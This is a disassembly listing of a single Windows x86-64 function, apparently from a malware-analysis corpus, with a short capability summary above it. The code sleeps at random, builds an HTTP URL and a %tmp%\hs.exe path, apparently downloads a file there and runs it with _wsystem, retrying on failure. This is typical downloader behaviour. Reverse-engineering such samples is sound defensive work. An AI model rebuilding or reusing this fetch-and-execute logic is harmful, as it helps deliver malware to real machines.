Function at 0x402691
Capabilities:
Accept command line arguments
Execute command
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x670
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [0x00403060]
add rax, 0x14
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov ecx, dword [rax]
mov r10, rcx
mov rcx, r10
call sub.msvcrt.dll_srand
call fcn.0040150b
call sub.msvcrt.dll_rand
mov ecx, 0x400
cdq
idiv ecx
add edx, 0x1000
mov eax, 0
mov r11, rax
mov r10, rdx
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_SleepEx
mov eax, 0
mov dword [rbp - 0xc], eax
mov eax, dword [rbp + 0x10]
cmp eax, 1
jle 0x402737
mov rax, qword [rbp + 0x18]
add rax, 8
mov ecx, 0x10
mov r8, rcx
movabs rcx, 0
mov r11, rcx
mov rcx, qword [rax]
mov r10, rcx
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strtol
mov dword [rbp - 0xc], eax
call fcn.0040164f
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 0xc]
mov r10, rax
mov rcx, r10
call fcn.004017a7
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x402773
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x402773
jmp 0x4027aa
call sub.kernel32.dll_GetCommandLineW
mov r11, rax
lea rax, [0x004032eb]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.kernel32.dll_GetCommandLineW
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
mov eax, 0
jmp 0x402a3c
mov eax, 0
mov word [rbp - 0x228], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x226]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0
mov word [rbp - 0x430], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x42e]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
lea rax, [0x00403022]
mov r9, rax
lea rax, str.__tmp___hs.exe
mov r8, rax
movabs rax, 0x208
mov r11, rax
lea rax, [rbp - 0x430]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, 0x104
mov r8, rax
lea rax, [rbp - 0x228]
mov r11, rax
lea rax, [rbp - 0x430]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsW
lea rax, [rbp - 0x228]
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str.http:___ls_ls______ls_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x228]
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401b09
mov dword [rbp - 0x434], eax
mov eax, 0
mov word [rbp - 0x63c], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x63a]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, dword [rbp - 0xc]
add eax, 1
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x228]
mov r9, rax
lea rax, str._s__06x
mov r8, rax
movabs rax, 0x208
mov r11, rax
lea rax, [rbp - 0x63c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, dword [rbp - 0x434]
cmp eax, 0
je 0x40298f
call sub.msvcrt.dll_rand
mov ecx, 0x400
cdq
idiv ecx
add edx, 0x1000
mov eax, 0
mov r11, rax
mov r10, rdx
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_SleepEx
lea rax, [rbp - 0x63c]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
jmp 0x4029bc
call sub.kernel32.dll_GetCommandLineW
mov r11, rax
lea rax, str.Retrying__ls_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.kernel32.dll_GetCommandLineW
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
lea rax, str.3901746882
mov r11, rax
lea rax, str.Grupa_Sendbajt__User_Id:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x0040338f]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptOpenAlgorithmProvider
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret